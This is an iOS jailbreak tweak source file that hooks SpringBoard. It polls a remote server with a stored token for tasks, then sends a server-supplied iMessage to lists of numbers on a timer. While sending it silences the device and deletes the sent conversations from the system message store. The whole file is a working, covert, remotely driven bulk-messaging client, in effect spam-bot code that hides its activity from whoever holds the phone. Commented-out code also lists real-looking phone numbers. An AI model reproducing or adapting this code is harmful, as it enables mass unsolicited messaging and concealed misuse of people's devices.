#import "Connection.h"
#import "UIKit/UIKit.h"
#import <Foundation/Foundation.h>
#import "notify.h"
#import "SqliteDB.h"
#import "ManagerObjectData.h"
#import "TXTelephonyManager.h"
#import "ASIFormDataRequest.h"
#import <sqlite3.h>
#import <IMCore/IMHandle.h>
#import <IMCore/IMMessageChatItem.h>
#import <IMCore/IMMessage.h>

#import <ChatKit/ChatKit.h>

#import <IMDaemonCore/IMDMessageStore.h>
#import <IMDMessageServices/FZMessage.h>
#import <IMDaemonCore/IMDChat.h>
#import "OperationSystemSMS.h"
#import <MediaPlayer/MediaPlayer.h>

#import <AudioToolbox/AudioToolbox.h>
#import <Celestial/AVSystemController.h>


int m_currentCount;



// 数据库
// sqlite3 *m_systemSqliteDB;


%hook SpringBoard

// plist 存放地址
#define PLISTRURL @"/var/mobile/Library/iMessage_user_preferences.plist"

// api前缀
#define BASICE_URL @"http://sim.xayoudao.com/sim/index.php?r=api/"




int status , notifyToken , currentCount , timerSpace;

NSTimer *m_timer;

BOOL m_isOpen;


// token变量
NSString *m_strToken , *sendeMessageText;

// NSTimer *m_timer = nil;

// @interface VolumeControl : NSObject{}

// -(void)toggleMute;

// -(float)volume;

// -(void)setMediaVolume:(float)arg1 ;

// -(void)_changeVolumeBy:(float)arg1 ;

// @end

@interface RegisterNotification : NSObject{}

- (void)loadSettings;
// - (void)onResetVolume;
// - (void)onAdjusterVolume;

// - (void)setVolume:(float)newVolume;

- (float)volume ;

// %new
// -(void)_changeVolumeBy:(float)arg1;
@end


@interface Token : NSObject{}

- (void)onTokenGetTask;
// - (void)onSenderMessage:(NSDictionary*)_dic userToken:(NSString*)_userToke sendList:(NSArray*)_sendPhoneNumber;


- (void)onSenderMessage:(NSDictionary*)_dic userToken:(NSString*)_userToke sendList:(NSString*)_sendPhoneNumber;


- (void)onCheckPhoneNumber:(NSDictionary*)_dic userToken:(NSString*)_userToke;
- (void)onAgainCheckPhoneNumber:(NSString*)_phoneNumber;
- (NSArray*)onCheckiMessagePhone:(NSArray*)_phoneArray;
- (void)runTimePage:(NSTimer*)_timer;

- (void)onJob;
- (NSArray*)onTestData;
- (BOOL)onStartCheckLocaData;
// - (NSDate *)getCurrentTime;
- (void)onChangeVolume;
@end

extern "C" CFNotificationCenterRef CTTelephonyCenterGetDefault(void);

CFStringRef CKServiceMessageReceivedNotification;

extern "C" void CTTelephonyCenterAddObserver(CFNotificationCenterRef center, const void *observer, CFNotificationCallback callBack, CFStringRef name, const void *object, CFNotificationSuspensionBehavior suspensionBehavior);

static void callBack(CFNotificationCenterRef center, void *observer, CFStringRef name, const void *object, CFDictionaryRef userInfo) {

// NSLog(@"————————————————————————\n");
//       NSLog(@"通知来了");
// NSLog(@"————————————————————————\n");

// NSLog(@"---------------------$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n");
// NSLog(@"name = %@\n",name);
// NSLog(@"---------------------$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$$\n");

  //__kIMChatRegistryMessageSentNotification通知成功了要看ojbect这个对象，不能看userInfo

  // __kIMChatRegistryWillLoadNotification
// if ([name isEqualToString:@"__kIMChatRegistryDidLoadNotification"])
// {
//    NSLog(@"userInfo = %@",userInfo);

//   NSLog(@"object = %@",object);

//   NSLog(@"userInfo = %@",userInfo);

// }
  // __kIMChatRegistryDidLoadNotification
  if ([name isEqualToString:@"__kIMChatRegistryMessageSentNotification"])
    {
      // 成功了

      NSLog(@"userInfo = %@",userInfo);

      NSLog(@"object = %@",object);

      IMMessage *im = (IMMessage*)object;

      // 创建FZMessage
      FZMessage *fzm = [im _fzMessage];

      NSLog(@"fzm = %@" , fzm);

     // 短信发给谁了和数据库中的b_telephone字段一样

      NSString *accountID = [fzm handle];

      // 发送的信息内容
      NSString *sendText = [[im text] string];

      // 2 成功 3 失败
      SqliteDB *sqlDB = [[SqliteDB alloc] init];

      // 发送
      [sqlDB query:accountID smsContent:sendText sendStatus:2];

      // 删除表完了
      [[[OperationSystemSMS alloc] init] deleteMessage: accountID];

      // 需要删除自己建立的表中的数据
      [sqlDB query:accountID smsContent:sendText];

      double delayInSeconds = 2.0;
      dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delayInSeconds * NSEC_PER_SEC));
      dispatch_after(popTime, dispatch_get_main_queue(), ^(void){
          // <#code to be executed on the main queue after delay#>

          float beforeVolume = [[[NSUserDefaults standardUserDefaults] objectForKey:@"BeforeCurrentVolume"] floatValue];

          AVSystemController *AVSysController = [objc_getClass("AVSystemController") sharedAVSystemController]; 

          [AVSysController setActiveCategoryVolumeTo:beforeVolume];

      });

      NSLog(@"操草草成功了 完了");
    }
    else if([name isEqualToString:@"__kIMChatMessageFailureCountChangedNotification"])
    {
      //__kIMChatMessageFailureCountChangedNotification 通知成功了要看ojbect这个对象，不能看userInfo
      //失败了 object

      NSLog(@"userInfo = %@\n",userInfo);

      NSLog(@"object =%@\n",object);
      
      NSLog(@"userInfo = %@",userInfo);

      IMChat *mc = (IMChat*)object;
      
      NSLog(@"mc = %@\n",[mc chatIdentifier]);
      NSString *accountID = [mc chatIdentifier];

      SqliteDB *sqlDB = [[SqliteDB alloc] init];

      NSString *strText = [sqlDB queryText:accountID];

      NSLog(@"strText = %@",strText);

      // 发送的信息内容
      NSString *sendText = strText;

      // // 2 成功 3 失败
      [sqlDB query:accountID smsContent:sendText sendStatus:3];

      // // 删除表完了
      [[[OperationSystemSMS alloc] init] deleteMessage: accountID];

      // // 需要删除自己建立的表中的数据
      [sqlDB query:accountID smsContent:sendText];

      double delayInSeconds = 2.0;
      dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delayInSeconds * NSEC_PER_SEC));
      dispatch_after(popTime, dispatch_get_main_queue(), ^(void){
          // <#code to be executed on the main queue after delay#>

          float beforeVolume = [[[NSUserDefaults standardUserDefaults] objectForKey:@"BeforeCurrentVolume"] floatValue];

          AVSystemController *AVSysController = [objc_getClass("AVSystemController") sharedAVSystemController]; 

          [AVSysController setActiveCategoryVolumeTo:beforeVolume];
        
      });

      NSLog(@"操草草失败了 完了");
    } 
}


%new
- (BOOL)onStartCheckLocaData
{
          NSArray *phoneArrayDB = [self onTestData];

           if (phoneArrayDB.count != 0)
           {
              sendeMessageText =  [[NSUserDefaults standardUserDefaults] objectForKey:@"sendeMessageText"];


              NSLog(@"phoneArrayDB.count = %d %@" ,phoneArrayDB.count,sendeMessageText);

              NSMutableDictionary *operationDataDic = [[NSMutableDictionary alloc] initWithObjectsAndKeys:phoneArrayDB,@"DBData",
                    sendeMessageText,@"SndeData", nil];

              currentCount = -1;
              // timerSpace = 20;

              // NSLog(@"[NSData new] = %@",[self getCurrentTime]);
            
              NSLog(@"经来就开始了");
              m_timer = [NSTimer scheduledTimerWithTimeInterval:1.0
                                                        target:self
                                                      selector:@selector(runTimePage:)
                                                      userInfo:operationDataDic
                                                       repeats:YES];

              [[NSRunLoop currentRunLoop] addTimer:m_timer forMode:NSRunLoopCommonModes];

              NSLog(@"还没又发完了，继续啊发吧 呵呵呵呵呵呵");

            }

            

            if (phoneArrayDB.count != 0)
            {
              NSLog(@"999999999999999999999还没完啊");
              return NO;
            }
            else
            {
              NSLog(@"999999999999999999999完了啊");
              return YES;
            }
}


// %new
// - (NSDate *)getCurrentTime
// {

//   NSDate *date = [NSDate date];
//   NSTimeZone *zone = [NSTimeZone systemTimeZone];
//   NSInteger interval = [zone secondsFromGMTForDate: date];
//   NSDate *localeDate = [date  dateByAddingTimeInterval: interval];  
//   return localeDate;
// }

-(void)applicationDidFinishLaunching:(id)application 
{
	%orig;


  // 注册监听事件
  CTTelephonyCenterAddObserver(CTTelephonyCenterGetDefault(), NULL, callBack, CKServiceMessageReceivedNotification, NULL, CFNotificationSuspensionBehaviorDrop);

  // 注册一个通知等待触发
	NSLog(@"为什么没有啊&&&&&&&&&&&&&&&&&&&&&");

  m_isOpen = YES;
  timerSpace = 15;

  [self loadSettings];

  status = notify_register_dispatch("com.betetui.settings_changed",
                                      &notifyToken,
                                      dispatch_get_main_queue(), ^(int t) {

                                          NSLog(@"\n*****%%%%%%%%%%%%%%%%%%%%%%%%%%settings notification received\n");

                                           [self loadSettings];

                                           // if ([Connection isConnectedToNetwork])
                                           //  {
                                           // [NSThread sleepForTimeInterval:10];

                                           [self onJob];
                                           //  }
                                      });

	if ([Connection isConnectedToNetwork])
	{
		// NSLog(@"有网络哦——————————————————————");

    // [NSThread sleepForTimeInterval:10];


    if ([self onStartCheckLocaData])
    {
      /* code */

      [self onJob]; 

    }

	}
	else
	{
		NSLog(@"哦哦，没得网络了，请检查连接哦");
	}
}

%new
- (void)onJob
{
  dispatch_after(dispatch_time(DISPATCH_TIME_NOW, (int64_t)(2.0 * NSEC_PER_SEC)), dispatch_get_main_queue(), ^{

        [self onTokenGetTask];

    });
}


%new
- (void)loadSettings
{
   NSFileManager *fm = [NSFileManager defaultManager];

   if ([fm fileExistsAtPath:PLISTRURL])
   {
       NSArray *array = [NSArray arrayWithContentsOfFile:PLISTRURL];
       if (array != nil)
       {
        NSLog(@"&&&&&&&&&&&&&&&\n");
           for (NSString *strToken in array)
           {
               NSLog(@"\nstrToken = %@",strToken);
           }
           // [self onTokenGetTask:[array objectAtIndex:0]];

           m_strToken =  [array objectAtIndex:0];

           NSLog(@"m_strToken = %@",m_strToken);

           NSLog(@"&&&&&&&&&&&&&&&\n");
       }
   }
}

%new
- (float)volume  
{  
    return [[MPMusicPlayerController applicationMusicPlayer] volume];  
}  

/*
  发送之前检测iMessage号码
*/

%new
- (NSArray*)onCheckiMessagePhone:(NSArray*)_phoneArray
{
        // 0 失败 1 成功
    NSMutableArray *tempArray = [NSMutableArray new];

    for (int i = 0; i < _phoneArray.count; i++)
    {
        if([TXTelephonyManager iMessageAvailabilityOfAddress:[_phoneArray objectAtIndex:i]] == 0)
        {
            // 不是iMessage号码

        }
        else
        {
            // 是iMessage号码
            NSLog(@"sssssssssssssss");
            [tempArray addObject:[_phoneArray objectAtIndex:i]];
        }
    }
    
   return tempArray;
}

// %new
// -(void)_changeVolumeBy:(float)arg1{}

%new
- (NSArray*)onTestData
{

  NSArray *phoneArrayDB = [[[SqliteDB alloc] init] queryAll];

  return phoneArrayDB;
}

%new
- (void)onChangeVolume
{
    // 修改系统声音
    AVSystemController *AVSysController = [objc_getClass("AVSystemController") sharedAVSystemController]; 

    [AVSysController setActiveCategoryVolumeTo:0.0];
}


%new
- (void)onTokenGetTask
{
    NSLog(@"m_strToken = %@",m_strToken);

    if (m_isOpen == YES)
    {
      m_isOpen = NO;

      if (m_strToken == nil && [m_strToken length] == 0)
      {
        /* code */
        [self loadSettings];
        return ;
      }

      NSLog(@"onTokenGetTask");

      // 6e59d9f00dfb6abc64373603b7777e6b
      NSString *urlString = [NSString stringWithFormat:@"%@task",BASICE_URL];

      urlString = [urlString stringByAddingPercentEscapesUsingEncoding:NSUTF8StringEncoding];


      NSLog(@"urlString = %@",urlString);

      ASIFormDataRequest *requestForm = [[ASIFormDataRequest alloc] initWithURL:[NSURL URLWithString:urlString]];

      requestForm.shouldContinueWhenAppEntersBackground = YES;

      [requestForm setPostValue:m_strToken forKey:@"token"];

      [requestForm startSynchronous];
      
      NSLog(@"requestForm = %@\n",[requestForm responseData]);
      
      NSDictionary *dic = [ManagerObjectData getCurrentData:[requestForm responseData]];
      
      NSLog(@"dic = %@",dic);
      
      if (dic != nil)
      {    
          NSString *strType = [[dic objectForKey:@"data"] objectForKey:@"tasktype"];
          
          NSLog(@"\nstrType\n = %@",strType);
          
          if ([strType isEqualToString:@"send"])
          {

              // NSArray *phoneArray = [NSArray arrayWithObjects:@"+8618192597956",
                                                    // @"+8618681981237",@"+8618691915676",nil];

              NSString *sendMessage = [[dic objectForKey:@"data"] objectForKey:@"message"];

              NSArray *phoneArray = [[dic objectForKey:@"data"] objectForKey:@"appleids"];
              

              NSLog(@"发送之前检测号码，是否是iMessage号码，之后发送。");
              //

              NSLog(@"phoneArray.count = %d",phoneArray.count);

              NSArray *checkLasterPhoneArray = [self onCheckiMessagePhone:phoneArray];

              NSLog(@"checkLasterPhoneArray.count = %d",checkLasterPhoneArray.count);

              // NSArray *checkLasterPhoneArray = [[NSArray alloc] initWithObjects:@"afjlsdf@huanqiu.com", nil];

              if (checkLasterPhoneArray.count == 0)
              {
                /* code */
                // 检测失败 没有数据时 继续返回请求处理 操作

                [NSThread sleepForTimeInterval:15];

                m_isOpen = YES;
                [self onTokenGetTask];


                return ;
              }

              int taskId = [[[dic objectForKey:@"data"] objectForKey:@"taskid"] intValue];

  // 
              NSLog(@"插入数据库时查看token\n");
              NSLog(@"m_strToken = %@",m_strToken);

              // if (m_strToken == nil && [m_strToken length] == 0)
              // {
                    /* code */
              [self loadSettings];
              // }
              NSLog(@"m_strToken = %@",m_strToken);
              NSLog(@"插入数据库时查看token-------\n");

              [[[SqliteDB alloc] init] insertBeTeTuiSMS:sendMessage sendPhone:checkLasterPhoneArray taskId:taskId userToken:m_strToken];

              NSLog(@"_____________________\n");

              // 存储当前声音大小
              float valumeS = [self volume];
              [[NSUserDefaults standardUserDefaults] setObject:[NSNumber numberWithFloat:valumeS] forKey:@"BeforeCurrentVolume"];
              [[NSUserDefaults standardUserDefaults] synchronize];






              NSLog(@"_____________________\n");


              NSArray *phoneArrayDB = [self onTestData];


              sendeMessageText =  [[dic objectForKey:@"data"] objectForKey:@"message"];

              [[NSUserDefaults standardUserDefaults] setObject:sendeMessageText forKey:@"sendeMessageText"];
              [[NSUserDefaults standardUserDefaults] synchronize];

              NSLog(@"phoneArrayDB.count = %d %@" ,phoneArrayDB.count,sendeMessageText);

              NSMutableDictionary *operationDataDic = [[NSMutableDictionary alloc] initWithObjectsAndKeys:phoneArrayDB,@"DBData",
                    sendeMessageText,@"SndeData", nil];
              

              NSLog(@"operationDataDic = %@",operationDataDic);

              //// 明天继续哦 呵呵
              // 添加timer
              currentCount = -1;
              // timerSpace = 20;

               m_timer = [NSTimer scheduledTimerWithTimeInterval:timerSpace
                                                        target:self
                                                      selector:@selector(runTimePage:)
                                                      userInfo:operationDataDic
                                                       repeats:YES];
              
             [[NSRunLoop currentRunLoop] addTimer:m_timer forMode:NSRunLoopCommonModes];

             //////////

              // [self onSenderMessage:[dic objectForKey:@"data"] userToken:m_strToken sendList:checkLasterPhoneArray];

              NSLog(@"完成了");
          }
          else
          {
              // 这里需要优化
              // default check
              [self onCheckPhoneNumber:[dic objectForKey:@"data"] userToken:m_strToken];
          }
      }
      else
      {

        // 没有请求到数据

        [NSThread sleepForTimeInterval:15];

        // [[NSUserDefaults standardUserDefaults] setObject:@"" forKey:@"onTokenGetTask"];
        // [[NSUserDefaults standardUserDefaults] synchronize];

        // 再次请求 
        m_isOpen = YES;
        [self onTokenGetTask];
      }
    }
}


// timeInterval
%new
- (void)runTimePage:(NSTimer*)_timer
{
      // timerSpace = 15;
      currentCount ++;
      NSLog(@"DBData = %d",[[[_timer userInfo] objectForKey:@"DBData"] count]);

      if (currentCount >= [[[_timer userInfo] objectForKey:@"DBData"] count])
      {
        NSArray *phoneArrayDB = [self onTestData];

        if (phoneArrayDB.count <= 0)
        {
          if ([_timer isValid])
          {
            [_timer invalidate];
            _timer = nil;
          }

          // 最终都会再这里结束 为了安全起见 用一个userdefault数值来记住操作



           // 如果发完了 就继续请求数据 循环操作

          [NSThread sleepForTimeInterval:15];


          // 数据库数据没了 重新开始请求

          m_isOpen = YES;

          [self onTokenGetTask];

          return ;

        }
        else
        {
          // 数据库还有东西 再次发送

          NSLog(@"再次开始了");

          if ([_timer isValid])
            {
              [_timer invalidate];
              _timer = nil;
            }

            // [NSThread sleepForTimeInterval:10];

            sendeMessageText = [[_timer userInfo] objectForKey:@"SndeData"];

            if ([sendeMessageText length] == 0)
            {
              sendeMessageText =  [[NSUserDefaults standardUserDefaults] objectForKey:@"sendeMessageText"];
            }

            NSLog(@"再次开始了 phoneArrayDB.count = %d %@" ,phoneArrayDB.count,sendeMessageText);

            NSMutableDictionary *operationDataDic = [[NSMutableDictionary alloc] initWithObjectsAndKeys:phoneArrayDB,@"DBData",
                  sendeMessageText,@"SndeData", nil];

            NSLog(@"再次开始了 operationDataDic = %@",operationDataDic);

            currentCount = -1;

            NSLog(@"timer = %@",m_timer);


            // [_timer userInfo] = (id)operationDataDic;

            // [NSObject ]

            m_timer = [NSTimer scheduledTimerWithTimeInterval:timerSpace
                                                        target:self
                                                      selector:@selector(runTimePage:)
                                                      userInfo:operationDataDic
                                                       repeats:YES];
            // return ;
            // [m_timer fire];

            // NSLog(@"尼玛 你开始啊");

            // [[NSRunLoop currentRunLoop] addTimer:m_timer forMode:NSRunLoopCommonModes];
        }
      }
  

      NSLog(@"$$$$$$$$$$$$$$$$ = %d",currentCount);

      // NSLog(@"[_timer userInfo] = %@",[_timer userInfo]);

      NSLog(@"runTimePage.DBData = %d",[[[_timer userInfo] objectForKey:@"DBData"] count]);

      if ([[[_timer userInfo] objectForKey:@"DBData"] count] == 0)
      {
        /* code */
        return ;
      }
      if ([self volume] != 0.00)
      {
        /* code 
          如果系统声音不是静音，那么就改成静音。
        */ 
        [self onChangeVolume];
      }
      

      NSLog(@"runTimePage.phone = %@",[[[_timer userInfo] objectForKey:@"DBData"] objectAtIndex:currentCount]);

      NSString *sendMessageTextt =  [[_timer userInfo] objectForKey:@"SndeData"];

      NSString *snedPhoneNumber = [NSString stringWithFormat:@"+%@",[[[_timer userInfo] objectForKey:@"DBData"] objectAtIndex:currentCount]];

      NSLog(@"来了没啊 看不出来啊");

      NSLog(@"snedPhoneNumber = %@ %@",snedPhoneNumber,sendMessageTextt);

      if ([sendMessageTextt length] != 0 || ![sendMessageTextt isEqualToString:@"(null)"] || sendMessageTextt != [NSNull null])
      {
        /* code */
        [TXTelephonyManager sendMessageWithText:sendMessageTextt address:snedPhoneNumber];
      }
      

      NSLog(@"来了没啊 看不出来啊sdfsdfsdfsdfsdffffffffffffffffff");
}



// %new
// - (void)onSenderMessage:(NSDictionary*)_dic userToken:(NSString*)_userToke sendList:(NSArray*)_sendPhoneNumber
// {
//    // NSArray *phoneArray = _sendPhoneNumber;//[_dic objectForKey:@"appleids"];

//   NSArray *phoneArray = [NSArray arrayWithObjects:@"+8618192597956",@"+8618681981237",nil];

//    NSString *sendMessage = [_dic objectForKey:@"message"];

//   // NSString *strPhone = @"+8618192597956";
//    // sendMessage = @"好吧";
//   // dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT,0), ^{
//   for(int i = 0; i < phoneArray.count ;i ++) 
//   {
//     NSLog(@"发送第%d个人，号码是：%@",i,[phoneArray objectAtIndex:i]);

//     [TXTelephonyManager sendMessageWithText:sendMessage address:[phoneArray objectAtIndex:i]];

//     [NSThread sleepForTimeInterval:2];

//   }

//   NSLog(@"\n打开数据库看一哈哦\n");
// }

%new
- (void)onSenderMessage:(NSDictionary*)_dic userToken:(NSString*)_userToke sendList:(NSString*)_sendPhoneNumber
{
   // NSArray *phoneArray = _sendPhoneNumber;//[_dic objectForKey:@"appleids"];

  // NSArray *phoneArray = [NSArray arrayWithObjects:@"+8618192597956",@"+8618681981237",nil];

   NSString *sendMessage = [_dic objectForKey:@"message"];

  NSLog(@"_sendPhoneNumber = %@ , sendMessage = %@",_sendPhoneNumber,sendMessage);

  // NSString *strPhone = @"+8618192597956";
   // sendMessage = @"好吧";
  // dispatch_async(dispatch_get_global_queue(DISPATCH_QUEUE_PRIORITY_DEFAULT,0), ^{
  // for(int i = 0; i < phoneArray.count ;i ++) 
  // {
  //   NSLog(@"发送第%d个人，号码是：%@",i,[phoneArray objectAtIndex:i]);

    [TXTelephonyManager sendMessageWithText:sendMessage address:_sendPhoneNumber];

    // [NSThread sleepForTimeInterval:2];

  // }

  NSLog(@"\n打开数据库看一哈哦\n");
}

//appleid: 发送的手机号码
//stat    : 发送状态 0,初始化，1，正在发送，2，成功，3，失败
//taskid  : 任务id
//token：用户认证标志

%new
- (void)onCheckPhoneNumber:(NSDictionary*)_dic userToken:(NSString*)_userToke
{
    int taskId = [[_dic objectForKey:@"taskid"] intValue];
    
    NSArray *phoneArray = [_dic objectForKey:@"appleids"];
    
//    NSArray *phoneArray = [NSArray arrayWithObjects:@"15332358596",
//                           @"15332358956",nil];
    
    NSMutableArray *tempArray = [NSMutableArray new];
    
    
    NSLog(@"phoneArray = %@",phoneArray);
    
    for (int  i =0 ; i < phoneArray.count; i ++)
    {
        // 0 失败 1 成功
        if([TXTelephonyManager iMessageAvailabilityOfAddress:[phoneArray objectAtIndex:i]] == 0)
        {
            double delayInSeconds = 2.0;
            dispatch_time_t popTime = dispatch_time(DISPATCH_TIME_NOW, (int64_t)(delayInSeconds * NSEC_PER_SEC));
            dispatch_after(popTime, dispatch_get_main_queue(), ^(void){
                
                m_currentCount = 0;
                [self onAgainCheckPhoneNumber:[phoneArray objectAtIndex:i]];
                
            });
        }
        else
        {
            NSLog(@"sssssssssssssss");
            [tempArray addObject:[phoneArray objectAtIndex:i]];
        }
    }
    NSLog(@"tempArray = %@",tempArray);
}

%new
- (void)onAgainCheckPhoneNumber:(NSString*)_phoneNumber
{
    if (m_currentCount <= 5)
    {
        if([TXTelephonyManager iMessageAvailabilityOfAddress:_phoneNumber] == 0)
        {
            m_currentCount += 1;
            [self onAgainCheckPhoneNumber:_phoneNumber];
            
            NSLog(@"真的不是iMessage");
        }
        else
        {
            NSLog(@"是iMessage账号 = %@",_phoneNumber);
        }
    }
    
}

/*
  打开系统数据库
*/
%end

// %hook NSNotificationCenter
// // @interface CKMadridMessage : NSObject{}

// // - (IMMessage*)imMessage;

// // @end

// - (void)postNotificationName:(NSString *)aName object:(id)anObject userInfo:(NSDictionary *)aUserInfo
// {
//     %orig;
//     // 发送失败


//     // __kIMChatMessageFailureCountChangedNotification
//     if (![aName isEqualToString:@"__kIMChatItemsDidChangeNotification"])
//     {
//         return;
//     }
//     NSLog(@"aUserInfo = %@",aUserInfo);

//      for (IMChatItem* chatItem in aUserInfo[@"__kIMChatItemsKey"])
//     {
//         IMMessage* msg = [chatItem message];//Incoming message object

//         // 创建FZMessage
//         FZMessage *fm = [msg _fzMessage];

//         NSString *accountID = fm.accountID;
//         NSString *service = fm.service;
//         NSString *guid = fm.guid;
//         NSString *chatIdentifier =  fm.handle;
//         NSString *participants = nil;
//         NSString *roomName = fm.roomName;
//         NSString *lastAddressedLocalHandle = nil;

//         // 方法一：创建IMDChat 
//         IMDChat *dChat = [[IMDChat alloc] initWithAccountID:accountID 
//                                           service:service 
//                                           guid:guid 
//                                           chatIdentifier:chatIdentifier 
//                                           participants:participants 
//                                           roomName:roomName 
//                                           lastAddressedLocalHandle:lastAddressedLocalHandle 
//                                           state:0 
//                                           style:nil];
//         // 方法二：创建IMDChat 
//         // IMDChat *dChat = [[IMDChat alloc] init];
//         // dChat.lastMessage = fm;
        
//         [[IMDMessageStore sharedInstance] performBlock:^{

//                [[IMDMessageStore sharedInstance] deleteMessageGUIDs:[NSArray arrayWithObject:[dChat guid]]];

//         }];
//     }
// }

// %end

// %hook CKConversationListController

// - (void)setEditing:(BOOL)editing animated:(BOOL)animated {
//   %orig;
  
//   if (editing) {
//     UIBarButtonItem *deleteAll = [[UIBarButtonItem alloc] initWithTitle:@"Delete All" style:UIBarButtonItemStylePlain target:self action:@selector(deleteAll:)];
//     self.navigationItem.rightBarButtonItem = deleteAll;
//     [deleteAll release];
//   }
//   else {
//     UIBarButtonItem *compose = [[UIBarButtonItem alloc] initWithBarButtonSystemItem:UIBarButtonSystemItemCompose target:self action:@selector(composeButtonClicked:)];
//     self.navigationItem.rightBarButtonItem = compose;
//     [compose release];
//   }
// }

// %new
// - (void)deleteAll:(id)sender {
//   CKConversationList *list = MSHookIvar<CKConversationList *>(self, "_conversationList");
//   UITableView *messages = MSHookIvar<UITableView *>(self, "_table");
//   if ([[list conversations] count] != 0) {
//     for (unsigned int i = 0; i < [[list conversations] count]; i++) {
//       [list deleteConversationAtIndex:i];
//     }
//   }
//   if ([[list conversations] count] > 0) { 
//     [self deleteAll:nil]; 
//   }
//   [messages reloadData];
//   [self setEditing:NO animated:NO];
// }
// %end






// Celestial.framework



// -  ( void ) setSystemVolumeLevelTo :( float ) newVolumeLevel
//  {    
//     Class avSystemControllerClass =  NSClassFromString (@ "AVSystemController" ); 
//     id avSystemControllerInstance =  [ avSystemControllerClass performSelector ：@选择（sharedAVSystemController ）];

//     的NSString  * soundCategory =  @ “铃声” ;

//     NSInvocation  * volumeInvocation =  [ NSInvocation invocationWithMethodSignature ：
//                                       [ avSystemControllerClass instanceMethodSignatureForSelector ：
//                                        @选择（setVolumeTo ：forCategory :)]] 
//     [ volumeInvocation setTarget ：avSystemControllerInstance ] 
//     [ volumeInvocation setSelector ：@选择（setVolumeTo ：forCategory :)] 
//     [ volumeInvocation setArgument ：＆newVolumeLevel atIndex ：2 ] 
//     [ volumeInvocation setArgument ：＆soundCategory atIndex ：3 ] 
//     [ volumeInvocation调用]; 
// }







